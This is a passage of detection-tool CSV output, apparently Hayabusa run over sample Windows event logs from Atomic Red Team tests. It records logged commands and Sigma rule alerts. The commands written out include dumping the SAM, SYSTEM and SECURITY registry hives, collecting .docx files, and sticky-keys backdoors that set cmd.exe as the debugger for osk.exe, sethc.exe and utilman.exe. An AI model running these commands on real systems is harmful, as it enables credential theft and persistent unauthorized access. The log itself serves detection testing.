HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.585 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.660 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.678 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.678 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.728 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.743 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.743 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.789 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.807 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\\Shell""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.807 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.850 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.868 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.868 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.921 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.937 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.937 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.975 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.990 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnceEx""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:32.990 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.036 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.059 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.059 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.147 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.175 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.175 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.225 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.251 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.251 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.303 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.331 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.331 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.375 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.392 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.392 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.559 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.572 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg Query HKLM\Software\Microsoft\Windows\CurrentVersion\Run""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.572 +09:00,MSEDGEWIN10,1,low,Query Registry,,rules/sigma/process_creation/win_query_registry.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.619 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\Security security.hive"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:33.632 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\Security security.hive : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\Security security.hive""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:39.229 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\System system.hive"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:39.255 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\System system.hive : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\System system.hive""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:41.660 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SAM sam.hive"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:41.691 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg save HKLM\SAM sam.hive : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg save HKLM\SAM sam.hive""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:43.569 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:51.996 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c: /b /s .docx | findstr /e .docx"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:51.996 +09:00,MSEDGEWIN10,1,medium,Automated Collection Command Prompt,,rules/sigma/process_creation/process_creation_automated_collection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.048 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: C:\Windows\system32\cmd.exe /S /D /c"" dir c: /b /s .docx "" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c: /b /s .docx | findstr /e .docx""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.048 +09:00,MSEDGEWIN10,1,medium,Automated Collection Command Prompt,,rules/sigma/process_creation/process_creation_automated_collection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.053 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: findstr /e .docx : Path: C:\Windows\System32\findstr.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""dir c: /b /s .docx | findstr /e .docx""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.210 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""for /R c: %%f in (*.docx) do copy %%f c:\temp\"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:49:52.275 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.174 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\osk.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.194 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\osk.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\osk.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.220 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.220 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:02.249 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.279 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.299 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\sethc.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.322 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.322 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys Modification,,rules/sigma/registry_event/sysmon_asep_reg_keys_modification_currentversion_nt.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:07.357 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.266 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\utilman.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.282 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\utilman.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f : Path: C:\Windows\System32\reg.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\system32\cmd.exe"" /c ""reg add "" HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution ""Options\utilman.exe /v Debugger /t REG_SZ /d C:\windows\system32\cmd.exe /f""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.295 +09:00,MSEDGEWIN10,13,critical,Sticky Key Like Backdoor Usage,,rules/sigma/registry_event/registry_event_stickykey_like_backdoor.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/PanacheSysmon_vs_AtomicRedTeam01.evtx +2019-07-19 23:50:10.295 +09:00,MSEDGEWIN10,13,medium,CurrentVersion NT Autorun Keys 